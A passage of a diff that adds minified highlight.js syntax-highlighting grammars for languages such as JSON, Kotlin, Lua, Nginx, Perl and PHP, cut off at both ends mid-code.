(strict|asm)['"]/},t.APOS_STRING_MODE,t.QUOTE_STRING_MODE,d,g,u,t.C_LINE_COMMENT_MODE,t.COMMENT("/\\*\\*","\\*/",{relevance:0,contains:[{className:"doctag",begin:"@[A-Za-z]+",contains:[{className:"type",begin:"\\{",end:"\\}",relevance:0},{className:"variable",begin:i+"(?=\\s*(-)|$)",endsParent:!0,relevance:0},{begin:/(?=[^\n])\s/,relevance:0}]}]}),t.C_BLOCK_COMMENT_MODE,l,{begin:r(/[{,\n]\s*/,s(r(/(((\/\/.*)|(\/\*(.|\n)*\*\/))\s*)*/,i+"\\s*:"))),relevance:0,contains:[{className:"attr",begin:i+s("\\s*:"),relevance:0}]},{begin:"("+t.RE_STARTERS_RE+"|\\b(case|return|throw)\\b)\\s*",keywords:"return throw case",contains:[t.C_LINE_COMMENT_MODE,t.C_BLOCK_COMMENT_MODE,t.REGEXP_MODE,{className:"function",begin:"(\\([^(]*(\\([^(]*(\\([^(]*\\))?\\))?\\)|"+t.UNDERSCORE_IDENT_RE+")\\s*=>",returnBegin:!0,end:"\\s*=>",contains:[{className:"params",variants:[{begin:t.UNDERSCORE_IDENT_RE},{className:null,begin:/\(\s*\)/,skip:!0},{begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,keywords:o,contains:b}]}]},{begin:/,/,relevance:0},{className:"",begin:/\s/,end:/\s*/,skip:!0},{variants:[{begin:"<>",end:"</>"},{begin:c.begin,end:c.end}],subLanguage:"xml",contains:[{begin:c.begin,end:c.end,skip:!0,contains:["self"]}]}],relevance:0},{className:"function",beginKeywords:"function",end:/\{/,excludeEnd:!0,contains:[t.inherit(t.TITLE_MODE,{begin:i}),_],illegal:/\[|%/},{begin:/\$[(.]/},t.METHOD_GUARD,{className:"class",beginKeywords:"class",end:/[{;=]/,excludeEnd:!0,illegal:/[:"\[\]]/,contains:[{beginKeywords:"extends"},t.UNDERSCORE_TITLE_MODE]},{beginKeywords:"constructor",end:/\{/,excludeEnd:!0},{begin:"(get|set)\\s+(?="+i+"\\()",end:/{/,keywords:"get set",contains:[t.inherit(t.TITLE_MODE,{begin:i}),{begin:/\(\)/},_]}],illegal:/#(?!!)/}}}());
+hljs.registerLanguage("json",function(){"use strict";return function(n){var e={literal:"true false null"},i=[n.C_LINE_COMMENT_MODE,n.C_BLOCK_COMMENT_MODE],t=[n.QUOTE_STRING_MODE,n.C_NUMBER_MODE],a={end:",",endsWithParent:!0,excludeEnd:!0,contains:t,keywords:e},l={begin:"{",end:"}",contains:[{className:"attr",begin:/"/,end:/"/,contains:[n.BACKSLASH_ESCAPE],illegal:"\\n"},n.inherit(a,{begin:/:/})].concat(i),illegal:"\\S"},s={begin:"\\[",end:"\\]",contains:[n.inherit(a)],illegal:"\\S"};return t.push(l,s),i.forEach((function(n){t.push(n)})),{name:"JSON",contains:t,keywords:e,illegal:"\\S"}}}());
+hljs.registerLanguage("kotlin",function(){"use strict";return function(e){var n={keyword:"abstract as val var vararg get set class object open private protected public noinline crossinline dynamic final enum if else do while for when throw try catch finally import package is in fun override companion reified inline lateinit init interface annotation data sealed internal infix operator out by constructor super tailrec where const inner suspend typealias external expect actual trait volatile transient native default",built_in:"Byte Short Char Int Long Boolean Float Double Void Unit Nothing",literal:"true false null"},a={className:"symbol",begin:e.UNDERSCORE_IDENT_RE+"@"},i={className:"subst",begin:"\\${",end:"}",contains:[e.C_NUMBER_MODE]},s={className:"variable",begin:"\\$"+e.UNDERSCORE_IDENT_RE},t={className:"string",variants:[{begin:'"""',end:'"""(?=[^"])',contains:[s,i]},{begin:"'",end:"'",illegal:/\n/,contains:[e.BACKSLASH_ESCAPE]},{begin:'"',end:'"',illegal:/\n/,contains:[e.BACKSLASH_ESCAPE,s,i]}]};i.contains.push(t);var r={className:"meta",begin:"@(?:file|property|field|get|set|receiver|param|setparam|delegate)\\s*:(?:\\s*"+e.UNDERSCORE_IDENT_RE+")?"},l={className:"meta",begin:"@"+e.UNDERSCORE_IDENT_RE,contains:[{begin:/\(/,end:/\)/,contains:[e.inherit(t,{className:"meta-string"})]}]},c=e.COMMENT("/\\*","\\*/",{contains:[e.C_BLOCK_COMMENT_MODE]}),o={variants:[{className:"type",begin:e.UNDERSCORE_IDENT_RE},{begin:/\(/,end:/\)/,contains:[]}]},d=o;return d.variants[1].contains=[o],o.variants[1].contains=[d],{name:"Kotlin",aliases:["kt"],keywords:n,contains:[e.COMMENT("/\\*\\*","\\*/",{relevance:0,contains:[{className:"doctag",begin:"@[A-Za-z]+"}]}),e.C_LINE_COMMENT_MODE,c,{className:"keyword",begin:/\b(break|continue|return|this)\b/,starts:{contains:[{className:"symbol",begin:/@\w+/}]}},a,r,l,{className:"function",beginKeywords:"fun",end:"[(]|$",returnBegin:!0,excludeEnd:!0,keywords:n,illegal:/fun\s+(<.*>)?[^\s\(]+(\s+[^\s\(]+)\s*=/,relevance:5,contains:[{begin:e.UNDERSCORE_IDENT_RE+"\\s*\\(",returnBegin:!0,relevance:0,contains:[e.UNDERSCORE_TITLE_MODE]},{className:"type",begin:/</,end:/>/,keywords:"reified",relevance:0},{className:"params",begin:/\(/,end:/\)/,endsParent:!0,keywords:n,relevance:0,contains:[{begin:/:/,end:/[=,\/]/,endsWithParent:!0,contains:[o,e.C_LINE_COMMENT_MODE,c],relevance:0},e.C_LINE_COMMENT_MODE,c,r,l,t,e.C_NUMBER_MODE]},c]},{className:"class",beginKeywords:"class interface trait",end:/[:\{(]|$/,excludeEnd:!0,illegal:"extends implements",contains:[{beginKeywords:"public protected internal private constructor"},e.UNDERSCORE_TITLE_MODE,{className:"type",begin:/</,end:/>/,excludeBegin:!0,excludeEnd:!0,relevance:0},{className:"type",begin:/[,:]\s*/,end:/[<\(,]|$/,excludeBegin:!0,returnEnd:!0},r,l]},t,{className:"meta",begin:"^#!/usr/bin/env",end:"$",illegal:"\n"},{className:"number",begin:"\\b(0[bB]([01]+[01_]+[01]+|[01]+)|0[xX]([a-fA-F0-9]+[a-fA-F0-9_]+[a-fA-F0-9]+|[a-fA-F0-9]+)|(([\\d]+[\\d_]+[\\d]+|[\\d]+)(\\.([\\d]+[\\d_]+[\\d]+|[\\d]+))?|\\.([\\d]+[\\d_]+[\\d]+|[\\d]+))([eE][-+]?\\d+)?)[lLfF]?",relevance:0}]}}}());
+hljs.registerLanguage("less",function(){"use strict";return function(e){var n="([\\w-]+|@{[\\w-]+})",a=[],s=[],t=function(e){return{className:"string",begin:"~?"+e+".*?"+e}},r=function(e,n,a){return{className:e,begin:n,relevance:a}},i={begin:"\\(",end:"\\)",contains:s,relevance:0};s.push(e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,t("'"),t('"'),e.CSS_NUMBER_MODE,{begin:"(url|data-uri)\\(",starts:{className:"string",end:"[\\)\\n]",excludeEnd:!0}},r("number","#[0-9A-Fa-f]+\\b"),i,r("variable","@@?[\\w-]+",10),r("variable","@{[\\w-]+}"),r("built_in","~?`[^`]*?`"),{className:"attribute",begin:"[\\w-]+\\s*:",end:":",returnBegin:!0,excludeEnd:!0},{className:"meta",begin:"!important"});var c=s.concat({begin:"{",end:"}",contains:a}),l={beginKeywords:"when",endsWithParent:!0,contains:[{beginKeywords:"and not"}].concat(s)},o={begin:n+"\\s*:",returnBegin:!0,end:"[;}]",relevance:0,contains:[{className:"attribute",begin:n,end:":",excludeEnd:!0,starts:{endsWithParent:!0,illegal:"[<=$]",relevance:0,contains:s}}]},g={className:"keyword",begin:"@(import|media|charset|font-face|(-[a-z]+-)?keyframes|supports|document|namespace|page|viewport|host)\\b",starts:{end:"[;{}]",returnEnd:!0,contains:s,relevance:0}},d={className:"variable",variants:[{begin:"@[\\w-]+\\s*:",relevance:15},{begin:"@[\\w-]+"}],starts:{end:"[;}]",returnEnd:!0,contains:c}},b={variants:[{begin:"[\\.#:&\\[>]",end:"[;{}]"},{begin:n,end:"{"}],returnBegin:!0,returnEnd:!0,illegal:"[<='$\"]",relevance:0,contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,l,r("keyword","all\\b"),r("variable","@{[\\w-]+}"),r("selector-tag",n+"%?",0),r("selector-id","#"+n),r("selector-class","\\."+n,0),r("selector-tag","&",0),{className:"selector-attr",begin:"\\[",end:"\\]"},{className:"selector-pseudo",begin:/:(:)?[a-zA-Z0-9\_\-\+\(\)"'.]+/},{begin:"\\(",end:"\\)",contains:c},{begin:"!important"}]};return a.push(e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,g,d,o,b),{name:"Less",case_insensitive:!0,illegal:"[=>'/<($\"]",contains:a}}}());
+hljs.registerLanguage("lua",function(){"use strict";return function(e){var t={begin:"\\[=*\\[",end:"\\]=*\\]",contains:["self"]},a=[e.COMMENT("--(?!\\[=*\\[)","$"),e.COMMENT("--\\[=*\\[","\\]=*\\]",{contains:[t],relevance:10})];return{name:"Lua",keywords:{$pattern:e.UNDERSCORE_IDENT_RE,literal:"true false nil",keyword:"and break do else elseif end for goto if in local not or repeat return then until while",built_in:"_G _ENV _VERSION __index __newindex __mode __call __metatable __tostring __len __gc __add __sub __mul __div __mod __pow __concat __unm __eq __lt __le assert collectgarbage dofile error getfenv getmetatable ipairs load loadfile loadstring module next pairs pcall print rawequal rawget rawset require select setfenv setmetatable tonumber tostring type unpack xpcall arg self coroutine resume yield status wrap create running debug getupvalue debug sethook getmetatable gethook setmetatable setlocal traceback setfenv getinfo setupvalue getlocal getregistry getfenv io lines write close flush open output type read stderr stdin input stdout popen tmpfile math log max acos huge ldexp pi cos tanh pow deg tan cosh sinh random randomseed frexp ceil floor rad abs sqrt modf asin min mod fmod log10 atan2 exp sin atan os exit setlocale date getenv difftime remove time clock tmpname rename execute package preload loadlib loaded loaders cpath config path seeall string sub upper len gfind rep find match char dump gmatch reverse byte format gsub lower table setn insert getn foreachi maxn foreach concat sort remove"},contains:a.concat([{className:"function",beginKeywords:"function",end:"\\)",contains:[e.inherit(e.TITLE_MODE,{begin:"([_a-zA-Z]\\w*\\.)*([_a-zA-Z]\\w*:)?[_a-zA-Z]\\w*"}),{className:"params",begin:"\\(",endsWithParent:!0,contains:a}].concat(a)},e.C_NUMBER_MODE,e.APOS_STRING_MODE,e.QUOTE_STRING_MODE,{className:"string",begin:"\\[=*\\[",end:"\\]=*\\]",contains:[t],relevance:5}])}}}());
+hljs.registerLanguage("makefile",function(){"use strict";return function(e){var i={className:"variable",variants:[{begin:"\\$\\("+e.UNDERSCORE_IDENT_RE+"\\)",contains:[e.BACKSLASH_ESCAPE]},{begin:/\$[@%<?\^\+\*]/}]},n={className:"string",begin:/"/,end:/"/,contains:[e.BACKSLASH_ESCAPE,i]},a={className:"variable",begin:/\$\([\w-]+\s/,end:/\)/,keywords:{built_in:"subst patsubst strip findstring filter filter-out sort word wordlist firstword lastword dir notdir suffix basename addsuffix addprefix join wildcard realpath abspath error warning shell origin flavor foreach if or and call eval file value"},contains:[i]},r={begin:"^"+e.UNDERSCORE_IDENT_RE+"\\s*(?=[:+?]?=)"},s={className:"section",begin:/^[^\s]+:/,end:/$/,contains:[i]};return{name:"Makefile",aliases:["mk","mak"],keywords:{$pattern:/[\w-]+/,keyword:"define endef undefine ifdef ifndef ifeq ifneq else endif include -include sinclude override export unexport private vpath"},contains:[e.HASH_COMMENT_MODE,i,n,a,r,{className:"meta",begin:/^\.PHONY:/,end:/$/,keywords:{$pattern:/[\.\w]+/,"meta-keyword":".PHONY"}},s]}}}());
+hljs.registerLanguage("xml",function(){"use strict";return function(e){var n={className:"symbol",begin:"&[a-z]+;|&#[0-9]+;|&#x[a-f0-9]+;"},a={begin:"\\s",contains:[{className:"meta-keyword",begin:"#?[a-z_][a-z1-9_-]+",illegal:"\\n"}]},s=e.inherit(a,{begin:"\\(",end:"\\)"}),t=e.inherit(e.APOS_STRING_MODE,{className:"meta-string"}),i=e.inherit(e.QUOTE_STRING_MODE,{className:"meta-string"}),c={endsWithParent:!0,illegal:/</,relevance:0,contains:[{className:"attr",begin:"[A-Za-z0-9\\._:-]+",relevance:0},{begin:/=\s*/,relevance:0,contains:[{className:"string",endsParent:!0,variants:[{begin:/"/,end:/"/,contains:[n]},{begin:/'/,end:/'/,contains:[n]},{begin:/[^\s"'=<>`]+/}]}]}]};return{name:"HTML, XML",aliases:["html","xhtml","rss","atom","xjb","xsd","xsl","plist","wsf","svg"],case_insensitive:!0,contains:[{className:"meta",begin:"<![a-z]",end:">",relevance:10,contains:[a,i,t,s,{begin:"\\[",end:"\\]",contains:[{className:"meta",begin:"<![a-z]",end:">",contains:[a,s,i,t]}]}]},e.COMMENT("\x3c!--","--\x3e",{relevance:10}),{begin:"<\\!\\[CDATA\\[",end:"\\]\\]>",relevance:10},n,{className:"meta",begin:/<\?xml/,end:/\?>/,relevance:10},{className:"tag",begin:"<style(?=\\s|>)",end:">",keywords:{name:"style"},contains:[c],starts:{end:"</style>",returnEnd:!0,subLanguage:["css","xml"]}},{className:"tag",begin:"<script(?=\\s|>)",end:">",keywords:{name:"script"},contains:[c],starts:{end:"<\/script>",returnEnd:!0,subLanguage:["javascript","handlebars","xml"]}},{className:"tag",begin:"</?",end:"/?>",contains:[{className:"name",begin:/[^\/><\s]+/,relevance:0},c]}]}}}());
+hljs.registerLanguage("markdown",function(){"use strict";return function(n){const e={begin:"<",end:">",subLanguage:"xml",relevance:0},a={begin:"\\[.+?\\][\\(\\[].*?[\\)\\]]",returnBegin:!0,contains:[{className:"string",begin:"\\[",end:"\\]",excludeBegin:!0,returnEnd:!0,relevance:0},{className:"link",begin:"\\]\\(",end:"\\)",excludeBegin:!0,excludeEnd:!0},{className:"symbol",begin:"\\]\\[",end:"\\]",excludeBegin:!0,excludeEnd:!0}],relevance:10},i={className:"strong",contains:[],variants:[{begin:/_{2}/,end:/_{2}/},{begin:/\*{2}/,end:/\*{2}/}]},s={className:"emphasis",contains:[],variants:[{begin:/\*(?!\*)/,end:/\*/},{begin:/_(?!_)/,end:/_/,relevance:0}]};i.contains.push(s),s.contains.push(i);var c=[e,a];return i.contains=i.contains.concat(c),s.contains=s.contains.concat(c),{name:"Markdown",aliases:["md","mkdown","mkd"],contains:[{className:"section",variants:[{begin:"^#{1,6}",end:"$",contains:c=c.concat(i,s)},{begin:"(?=^.+?\\n[=-]{2,}$)",contains:[{begin:"^[=-]*$"},{begin:"^",end:"\\n",contains:c}]}]},e,{className:"bullet",begin:"^[ \t]*([*+-]|(\\d+\\.))(?=\\s+)",end:"\\s+",excludeEnd:!0},i,s,{className:"quote",begin:"^>\\s+",contains:c,end:"$"},{className:"code",variants:[{begin:"(`{3,})(.|\\n)*?\\1`*[ ]*"},{begin:"(~{3,})(.|\\n)*?\\1~*[ ]*"},{begin:"```",end:"```+[ ]*$"},{begin:"~~~",end:"~~~+[ ]*$"},{begin:"`.+?`"},{begin:"(?=^( {4}|\\t))",contains:[{begin:"^( {4}|\\t)",end:"(\\n)$"}],relevance:0}]},{begin:"^[-\\*]{3,}",end:"$"},a,{begin:/^\[[^\n]+\]:/,returnBegin:!0,contains:[{className:"symbol",begin:/\[/,end:/\]/,excludeBegin:!0,excludeEnd:!0},{className:"link",begin:/:\s*/,end:/$/,excludeBegin:!0}]}]}}}());
+hljs.registerLanguage("nginx",function(){"use strict";return function(e){var n={className:"variable",variants:[{begin:/\$\d+/},{begin:/\$\{/,end:/}/},{begin:"[\\$\\@]"+e.UNDERSCORE_IDENT_RE}]},a={endsWithParent:!0,keywords:{$pattern:"[a-z/_]+",literal:"on off yes no true false none blocked debug info notice warn error crit select break last permanent redirect kqueue rtsig epoll poll /dev/poll"},relevance:0,illegal:"=>",contains:[e.HASH_COMMENT_MODE,{className:"string",contains:[e.BACKSLASH_ESCAPE,n],variants:[{begin:/"/,end:/"/},{begin:/'/,end:/'/}]},{begin:"([a-z]+):/",end:"\\s",endsWithParent:!0,excludeEnd:!0,contains:[n]},{className:"regexp",contains:[e.BACKSLASH_ESCAPE,n],variants:[{begin:"\\s\\^",end:"\\s|{|;",returnEnd:!0},{begin:"~\\*?\\s+",end:"\\s|{|;",returnEnd:!0},{begin:"\\*(\\.[a-z\\-]+)+"},{begin:"([a-z\\-]+\\.)+\\*"}]},{className:"number",begin:"\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}(:\\d{1,5})?\\b"},{className:"number",begin:"\\b\\d+[kKmMgGdshdwy]*\\b",relevance:0},n]};return{name:"Nginx config",aliases:["nginxconf"],contains:[e.HASH_COMMENT_MODE,{begin:e.UNDERSCORE_IDENT_RE+"\\s+{",returnBegin:!0,end:"{",contains:[{className:"section",begin:e.UNDERSCORE_IDENT_RE}],relevance:0},{begin:e.UNDERSCORE_IDENT_RE+"\\s",end:";|{",returnBegin:!0,contains:[{className:"attribute",begin:e.UNDERSCORE_IDENT_RE,starts:a}],relevance:0}],illegal:"[^\\s\\}]"}}}());
+hljs.registerLanguage("objectivec",function(){"use strict";return function(e){var n=/[a-zA-Z@][a-zA-Z0-9_]*/,_={$pattern:n,keyword:"@interface @class @protocol @implementation"};return{name:"Objective-C",aliases:["mm","objc","obj-c"],keywords:{$pattern:n,keyword:"int float while char export sizeof typedef const struct for union unsigned long volatile static bool mutable if do return goto void enum else break extern asm case short default double register explicit signed typename this switch continue wchar_t inline readonly assign readwrite self @synchronized id typeof nonatomic super unichar IBOutlet IBAction strong weak copy in out inout bycopy byref oneway __strong __weak __block __autoreleasing @private @protected @public @try @property @end @throw @catch @finally @autoreleasepool @synthesize @dynamic @selector @optional @required @encode @package @import @defs @compatibility_alias __bridge __bridge_transfer __bridge_retained __bridge_retain __covariant __contravariant __kindof _Nonnull _Nullable _Null_unspecified __FUNCTION__ __PRETTY_FUNCTION__ __attribute__ getter setter retain unsafe_unretained nonnull nullable null_unspecified null_resettable class instancetype NS_DESIGNATED_INITIALIZER NS_UNAVAILABLE NS_REQUIRES_SUPER NS_RETURNS_INNER_POINTER NS_INLINE NS_AVAILABLE NS_DEPRECATED NS_ENUM NS_OPTIONS NS_SWIFT_UNAVAILABLE NS_ASSUME_NONNULL_BEGIN NS_ASSUME_NONNULL_END NS_REFINED_FOR_SWIFT NS_SWIFT_NAME NS_SWIFT_NOTHROW NS_DURING NS_HANDLER NS_ENDHANDLER NS_VALUERETURN NS_VOIDRETURN",literal:"false true FALSE TRUE nil YES NO NULL",built_in:"BOOL dispatch_once_t dispatch_queue_t dispatch_sync dispatch_async dispatch_once"},illegal:"</",contains:[{className:"built_in",begin:"\\b(AV|CA|CF|CG|CI|CL|CM|CN|CT|MK|MP|MTK|MTL|NS|SCN|SK|UI|WK|XC)\\w+"},e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,e.C_NUMBER_MODE,e.QUOTE_STRING_MODE,e.APOS_STRING_MODE,{className:"string",variants:[{begin:'@"',end:'"',illegal:"\\n",contains:[e.BACKSLASH_ESCAPE]}]},{className:"meta",begin:/#\s*[a-z]+\b/,end:/$/,keywords:{"meta-keyword":"if else elif endif define undef warning error line pragma ifdef ifndef include"},contains:[{begin:/\\\n/,relevance:0},e.inherit(e.QUOTE_STRING_MODE,{className:"meta-string"}),{className:"meta-string",begin:/<.*?>/,end:/$/,illegal:"\\n"},e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},{className:"class",begin:"("+_.keyword.split(" ").join("|")+")\\b",end:"({|$)",excludeEnd:!0,keywords:_,contains:[e.UNDERSCORE_TITLE_MODE]},{begin:"\\."+e.UNDERSCORE_IDENT_RE,relevance:0}]}}}());
+hljs.registerLanguage("perl",function(){"use strict";return function(e){var n={$pattern:/[\w.]+/,keyword:"getpwent getservent quotemeta msgrcv scalar kill dbmclose undef lc ma syswrite tr send umask sysopen shmwrite vec qx utime local oct semctl localtime readpipe do return format read sprintf dbmopen pop getpgrp not getpwnam rewinddir qq fileno qw endprotoent wait sethostent bless s|0 opendir continue each sleep endgrent shutdown dump chomp connect getsockname die socketpair close flock exists index shmget sub for endpwent redo lstat msgctl setpgrp abs exit select print ref gethostbyaddr unshift fcntl syscall goto getnetbyaddr join gmtime symlink semget splice x|0 getpeername recv log setsockopt cos last reverse gethostbyname getgrnam study formline endhostent times chop length gethostent getnetent pack getprotoent getservbyname rand mkdir pos chmod y|0 substr endnetent printf next open msgsnd readdir use unlink getsockopt getpriority rindex wantarray hex system getservbyport endservent int chr untie rmdir prototype tell listen fork shmread ucfirst setprotoent else sysseek link getgrgid shmctl waitpid unpack getnetbyname reset chdir grep split require caller lcfirst until warn while values shift telldir getpwuid my getprotobynumber delete and sort uc defined srand accept package seekdir getprotobyname semop our rename seek if q|0 chroot sysread setpwent no crypt getc chown sqrt write setnetent setpriority foreach tie sin msgget map stat getlogin unless elsif truncate exec keys glob tied closedir ioctl socket readlink eval xor readline binmode setservent eof ord bind alarm pipe atan2 getgrent exp time push setgrent gt lt or ne m|0 break given say state when"},t={className:"subst",begin:"[$@]\\{",end:"\\}",keywords:n},s={begin:"->{",end:"}"},r={variants:[{begin:/\$\d/},{begin:/[\$%@](\^\w\b|#\w+(::\w+)*|{\w+}|\w+(::\w*)*)/},{begin:/[\$%@][^\s\w{]/,relevance:0}]},i=[e.BACKSLASH_ESCAPE,t,r],a=[r,e.HASH_COMMENT_MODE,e.COMMENT("^\\=\\w","\\=cut",{endsWithParent:!0}),s,{className:"string",contains:i,variants:[{begin:"q[qwxr]?\\s*\\(",end:"\\)",relevance:5},{begin:"q[qwxr]?\\s*\\[",end:"\\]",relevance:5},{begin:"q[qwxr]?\\s*\\{",end:"\\}",relevance:5},{begin:"q[qwxr]?\\s*\\|",end:"\\|",relevance:5},{begin:"q[qwxr]?\\s*\\<",end:"\\>",relevance:5},{begin:"qw\\s+q",end:"q",relevance:5},{begin:"'",end:"'",contains:[e.BACKSLASH_ESCAPE]},{begin:'"',end:'"'},{begin:"`",end:"`",contains:[e.BACKSLASH_ESCAPE]},{begin:"{\\w+}",contains:[],relevance:0},{begin:"-?\\w+\\s*\\=\\>",contains:[],relevance:0}]},{className:"number",begin:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",relevance:0},{begin:"(\\/\\/|"+e.RE_STARTERS_RE+"|\\b(split|return|print|reverse|grep)\\b)\\s*",keywords:"split return print reverse grep",relevance:0,contains:[e.HASH_COMMENT_MODE,{className:"regexp",begin:"(s|tr|y)/(\\\\.|[^/])*/(\\\\.|[^/])*/[a-z]*",relevance:10},{className:"regexp",begin:"(m|qr)?/",end:"/[a-z]*",contains:[e.BACKSLASH_ESCAPE],relevance:0}]},{className:"function",beginKeywords:"sub",end:"(\\s*\\(.*?\\))?[;{]",excludeEnd:!0,relevance:5,contains:[e.TITLE_MODE]},{begin:"-\\w\\b",relevance:0},{begin:"^__DATA__$",end:"^__END__$",subLanguage:"mojolicious",contains:[{begin:"^@@.*",end:"$",className:"comment"}]}];return t.contains=a,s.contains=a,{name:"Perl",aliases:["pl","pm"],keywords:n,contains:a}}}());
+hljs.registerLanguage("php",function(){"use strict";return function(e){var r={begin:"\\$+[a-zA-Z_-ÿ][a-zA-Z0-9_-ÿ]*"},t={className:"meta",variants:[{begin:/<\?php/,relevance:10},{begin:/<\?[=]?/},{begin:/\?>/}]},a={className:"string",contains:[e.BACKSLASH_ESCAPE,t],variants:[{begin:'b"',end:'"'},{begin:"b'",end:"'"},e.inherit(e.APOS_STRING_MODE,{illegal:null}),e.inherit(e.QUOTE_STRING_MODE,{illegal:null})]},n={variants:[e.BINARY_NUMBER_MODE,e.C_NUMBER_MODE]},i={keyword:"__CLASS__ __DIR__ __FILE__ __FUNCTION__ __LINE__ __METHOD__ __NAMESPACE__ __TRAIT__ die echo exit include include_once print require require_once array abstract and as binary bool boolean break callable case catch class clone const continue declare default do double else elseif empty enddeclare endfor endforeach endif endswitch endwhile eval extends final finally float for foreach from global goto if implements instanceof insteadof int integer interface isset iterable list new object or private protected public real return string switch throw trait try unset use var void while xor yield",literal:"false null true",built_in:"Error|0 AppendIterator ArgumentCountError ArithmeticError ArrayIterator ArrayObject AssertionError BadFunctionCallException BadMethodCallException CachingIterator CallbackFilterIterator CompileError Countable DirectoryIterator DivisionByZeroError DomainException EmptyIterator ErrorException Exception FilesystemIterator FilterIterator GlobIterator InfiniteIterator InvalidArgumentException IteratorIterator LengthException LimitIterator LogicException MultipleIterator NoRewindIterator OutOfBoundsException OutOfRangeException OuterIterator OverflowException ParentIterator ParseError RangeException RecursiveArrayIterator RecursiveCachingIterator RecursiveCallbackFilterIterator RecursiveDirectoryIterator RecursiveFilterIterator RecursiveIterator RecursiveIteratorIterator RecursiveRegexIterator RecursiveTreeIterator RegexIterator RuntimeException SeekableIterator SplDoublyLinkedList SplFileInfo SplFileObject SplFixedArray SplHeap SplMaxHeap SplMinHeap SplObjectStorage SplObserver SplObserver SplPriorityQueue SplQueue SplStack SplSubject SplSubject SplTempFileObject TypeError UnderflowException UnexpectedValueException ArrayAccess Closure Generator Iterator IteratorAggregate Serializable Throwable Traversable WeakReference Directory __PHP_Incomplete_Class parent php_user_filter self static stdClass"};return{aliases:["php","php3","php4","php5","php6","php7"],case_insensitive:!0,keywords:i,contains:[e.HASH_COMMENT_MODE,e.COMMENT("//","$",{contains:[t]}),e.COMMENT("/\\*","\\*/",{contains:[{className:"doctag",begin:"@[A-Za-z]+"}]}),e.COMMENT("__halt_compiler.+?;",!1,{endsWithParent:!0,keywords:"__halt_compiler"}),{className:"string",begin:/<<<['"]?\w+['"]?$/,end:/^\w+;?$/,contains:[e.BACKSLASH_ESCAPE,{className:"subst",variants:[{begin:/\$\w+/},{begin:/\{\$/,end:/\}/}]}]},t,{className:"keyword",begin:/\$this\b/},r,{begin:/(::|->)+[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/},{className:"function",beginKeywords:"fn function",end:/[;{]/,excludeEnd:!0,illegal:"[$%\\[]",contains:[e.UNDERSCORE_TITLE_MODE,{className:"params",begin:"\\(",end:"\\)",excludeBegin:!0,excludeEnd:!0,keywords:i,contains:["self",r,e.C_BLOCK_COMMENT_MODE,a,n]}]},{className:"class",beginKeywords:"class interface",end:"{",excludeEnd:!0,illegal:/[:\(\$"]/,contains:[{beginKeywords:"extends implements"},e.UNDERSCORE_TITLE_MODE]},{beginKeywords:"namespace",end:";",illegal:/[\.']/,contains:[e.UNDERSCORE_TITLE_MODE]},{beginKeywords:"use",end:";",contains:[e.UNDERSCORE_TITLE_MODE]},{begin:"=>"},a,n]}}}());
+hljs.registerLanguage("php-template",function(){"use strict";return function(n){return{name:"PHP template",subLanguage:"xml",contains:[{begin:/<\?(php|=)?/,end:/\?>/,subLanguage:"php",contains:[{begin:"/\\*",end:"\\*/",skip:!0},{begin:'b"',end:'"',skip:!0},{begin:"b'",end:"'",skip:!0},n.inherit(n.APOS_STRING_MODE,{illegal:null,className:null,contains:null,skip:!0}),n.inherit(n.QUOTE_STRING_MODE,{illegal:null,className:null,contains:null,skip:!0})]}]}}}());
+hljs.registerLanguage("plaintext",function(){"use strict";return function(t){return{name:"Plain text",aliases:["text","txt"],disableAutodetect:!0}}}());
+hljs.registerLanguage("properties",function(){"use strict";return function(e){var n="[ \\t\\f]*",t="("+n+"[:=]"+n+"|[ \\t\\f]+)",a="([^\\\\:= \\t\\f\\n]|\\\\.)+",s={end:t,relevance:0,starts:{className:"string",end:/$/,relevance:0,contains:[{begin:"\\\\\\n"}]}};return{name:".properties",case_insensitive:!0,illegal:/\S/,contains:[e.COMMENT("^\\s*[!#]","$"),{begin:"([^\\\\\\W:= \\t\\f\\n]|\\\\.)+"+t,returnBegin:!0,contains:[{className:"attr",begin:"([^\\\\\\W:= \\t\\f\\n]|\\\\.)+",endsParent:!0,relevance:0}],starts:s},{begin:a+t,returnBegin:!0,relevance:0,contains:[{className:"meta",begin:a,endsParent:!0,relevance:0}],starts:s},{className:"attr",relevance:0,begin:a+n+"$"}]}}}());
+hljs.registerLanguage("python",function(){"use strict";return function(e){var n={keyword:"and elif is global as in if from raise for except finally print import pass return exec else break not with class assert yield try while continue del or def lambda async await nonlocal|10",built_in:"Ellipsis NotImplemented",literal:"False None True"},a={className:"meta",begin:/^(>>>|\.\.\.) /},i={className:"subst",begin:/\{/,end:/\}/,keywords:n,illegal:/#/},s={begin:/\{\{/,relevance:0},r={className:"string",contains:[e.BACKSLASH_ESCAPE],variants:[{begin:/(u|b)?r?'''/,end:/'''/,contains:[e.BACKSLASH_ESCAPE,a],relevance:10},{begin:/(u|b)?r?"""/,end:/"""/,contains:[e.BACKSLASH_ESCAPE,a],relevance:10},{begin:/(fr|rf|f)'''/,end:/'''/,contains:[e.BACKSLASH_ESCAPE,a,s,i]},{begin:/(fr|rf|f)"""/,end:/"""/,contains:[e.BACKSLASH_ESCAPE,a,s,i]},{begin:/(u|r|ur)'/,end:/'/,relevance:10},{begin:/(u|r|ur)"/,end:/"/,relevance:10},{begin:/(b|br)'/,end:/'/},{begin:/(b|br)"/,end:/"/},{begin:/(fr|rf|f)'/,end:/'/,contains:[e.BACKSLASH_ESCAPE,s,i]},{begin:/(fr|rf|f)"/,end:/"/,contains:[e.BACKSLASH_ESCAPE,s,i]},e.APOS_STRING_MODE,e.QUOTE_STRING_MODE]},l={className:"number",relevance:0,variants:[{begin:e.BINARY_NUMBER_RE+"[lLjJ]?"},{begin:"\\b(0o[0-7]+)[lLjJ]?"},{begin:e.C_NUMBER_RE+"[lLjJ]?"}]},t={className:"params",variants:[{begin:/\(\s*\)/,skip:!0,className:null},{begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,contains:["self",a,l,r,e.HASH_COMMENT_M